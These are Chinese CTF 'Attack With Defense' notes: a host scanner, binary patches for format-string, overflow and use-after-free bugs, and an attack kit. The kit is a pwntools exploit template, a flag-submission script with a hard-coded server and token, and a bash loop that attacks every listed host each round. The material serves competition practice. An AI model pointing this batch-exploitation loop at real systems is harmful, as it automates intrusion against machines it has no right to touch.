AWD
流程
- 改
init_hosts.py中的ip格式和port
- 改
submit_flag.py中的提交方式和token
- 改
round_wait_time
patch
- 写
exp
- 批量攻击
扫描IP
import requests import threading li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') def check_ip(i): try: url = f'http://192-168-1-{i}.awd.bugku.cn/' response = requests.get(url, timeout=0.5) if response.status_code == 200: li('[+] ' + url) with open('hosts', 'a+') as f: f.write(f'192-168-1-{i}.awd.bugku.cn:9999\n') else: raise Exception("Not 200 OK") except Exception as e: ll('[-] ' + url) with open('h', 'a+') as f: f.write(f'192-168-1-{i}.awd.bugku.cn:9999\n') NUM_THREADS = 256 threads = [] for i in range(1, 256): thread = threading.Thread(target=check_ip, args=(i,)) threads.append(thread) thread.start() if len(threads) >= NUM_THREADS: for t in threads: t.join() threads = [] for t in threads: t.join()
|
Defence
工具
工具使用
具体漏洞修复
格式化字符串漏洞
32位
from AwdPwnPatcher import * binary = "filename" awd_pwn_patcher = AwdPwnPatcher(binary)
awd_pwn_patcher.patch_fmt_by_call(address) awd_pwn_patcher.save()
|
64位
from AwdPwnPatcher import * binary = "filename" awd_pwn_patcher = AwdPwnPatcher(binary) fmt_offset = awd_pwn_patcher.add_constant_in_ehframe("%s\\x00\\x00") assembly = """ mov rsi, qword ptr [rbp-0x8] lea rdi, qword ptr [{}] """.format(hex(fmt_offset)) awd_pwn_patcher.patch_by_jmp(0x706, jmp_to=0x712, assembly=assembly) awd_pwn_patcher.save()
|
栈溢出
from AwdPwnPatcher import * binary = "filename" awd_pwn_patcher = AwdPwnPatcher(binary) assembly = ''' push 0x20 #缩小输入范围,控制寄存器push进去的值 ''' awd_pwn_patcher.patch_origin(0x8048476, end=0x804847b, assembly=assembly) awd_pwn_patcher.save()
|
UAF
32位
from AwdPwnPatcher import * binary = "./filename" awd_pwn_patcher = AwdPwnPatcher(binary) assembly = """ add esp, 0x10 mov eax, 0 mov edx, dword ptr [ebp - 0x20] mov eax, 0x804a060 #被释放的地址 lea eax, dword ptr [eax + edx*4] mov dword ptr [eax], 0 """ awd_pwn_patcher.patch_by_jmp(0x80485bf, jmp_to=0x80485c7, assembly=assembly) awd_pwn_patcher.save()
|
64位
from AwdPwnPatcher import * binary = "./filename" awd_pwn_patcher = AwdPwnPatcher(binary) assembly = """ mov eax, 0 mov eax, dword ptr [rbp - 0x1c] cdqe lea rdx, qword ptr [0x201040] lea rax, qword ptr [rdx + rax*8] mov qword ptr [rax], 0 """ awd_pwn_patcher.patch_by_jmp(0x838, jmp_to=0x83d, assembly=assembly) awd_pwn_patcher.save()
|
gets 栈溢出
只有gets函数能够接受用户输入时,将流程劫持到.eh_frame段,利用syscall构造read函数,就能控制输入数据的长度。
.eh_frame:0000000000400F7D mov rax, 0 ;#define __NR_read 0 .eh_frame:0000000000400F84 mov rdi, 0 ; fd .eh_frame:0000000000400F8B lea rsi, [rbp+buf] ; buf .eh_frame:0000000000400F8E mov rdx, 90h ; count .eh_frame:0000000000400F95 syscall .eh_frame:0000000000400F97 jmp loc_400AB4
|
负数绕过
输入负数-1也满足jle,修复方法:将JLE改为JBE
cmp eax, 20h jle short loc_8048777
|
Attack
exp.py
import os import sys from time import sleep from pwn import * context(arch='amd64', os='linux', log_level='debug') file_name = './pwn' li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m') def write_to_flags(d): fd = open('./flags', 'ab') fd.write(d + b'\n') fd.close() ip = server_ip = sys.argv[1].split(':')[0] port = int(sys.argv[1].split(':')[1]) r = remote(ip, port) ...... r.sendline(b'cat flag') r.recvuntil(b'{') flag = b'viol1t{' + r.recvuntil(b'}') write_to_flags(flag) r.interactive()
|
submit_flag.py
import threading from time import sleep import os import json import requests flag_file = './flags' threads = [] def submit(flag): try: url = f"curl -X POST http://27.25.152.77:19999/api/flag -H 'Authorization: 7f120ca9b0e3024d06734a04a986cc55' -d '{{ \"flag\": \"{flag[:-1]}\"}}'" print(url) os.system(url) print('\x1b[01;38;5;214m[+] pwned!\x1b[0m') except Exception as e: print('\x1b[01;38;5;214m[-] connect fail: {}\x1b[0m'.format(str(e))) def main(): with open(flag_file) as flag_txt: flags = flag_txt.readlines() for flag in flags: thread = threading.Thread(target=submit, args=(flag,)) threads.append(thread) thread.start() for thread in threads: thread.join() if __name__ == "__main__": main()
|
attack.sh
#! /bin/bash attack_times=10000 round_wait_time=30 wait_submit_time=5 log_file="logs" run_time=120 next_attack_time=2.5 max_concurrent_attacks=10 log(){ t=$(date "+%H:%M:%S") m="[$t]$1" info="\033[43;37m $m \033[0m" echo -e "$info" echo -e "$m" >> $log_file } attack() { echo "-- round $1 -- " >> all_flags cat flags >> all_flags rm flags local jobs=0 for line in $(cat hosts); do timeout --foreground $run_time python3 ./exp.py "$line" & sleep $next_attack_time ((jobs++)) if [ "$jobs" -ge "$max_concurrent_attacks" ]; then wait jobs=0 fi done wait echo -e "\x1b[47;30m Waiting $wait_submit_time s to submit flag\x1b[0m" sleep $wait_submit_time echo -e "\x1b[47;30m Submitting flag\x1b[0m" python3 ./submit_flag.py } for ((i=1; i <= attack_times; i++)); do m="-------- round $i --------" log "$m" attack $i echo -e "\x1b[47;30m Waiting next round\x1b[0m" sleep $round_wait_time done
|
流量监控
pwn_waf
https://github.com/i0gan/pwn_waf/tree/main
创建一个文件夹并赋一定权限,改makefile中的log path为该文件夹地址,make后将pwn和catch放到创建的文件夹中,再用catch替换pwn文件,此时exp打用catch替换的pwn文件即可在创建的文件夹中接收到流量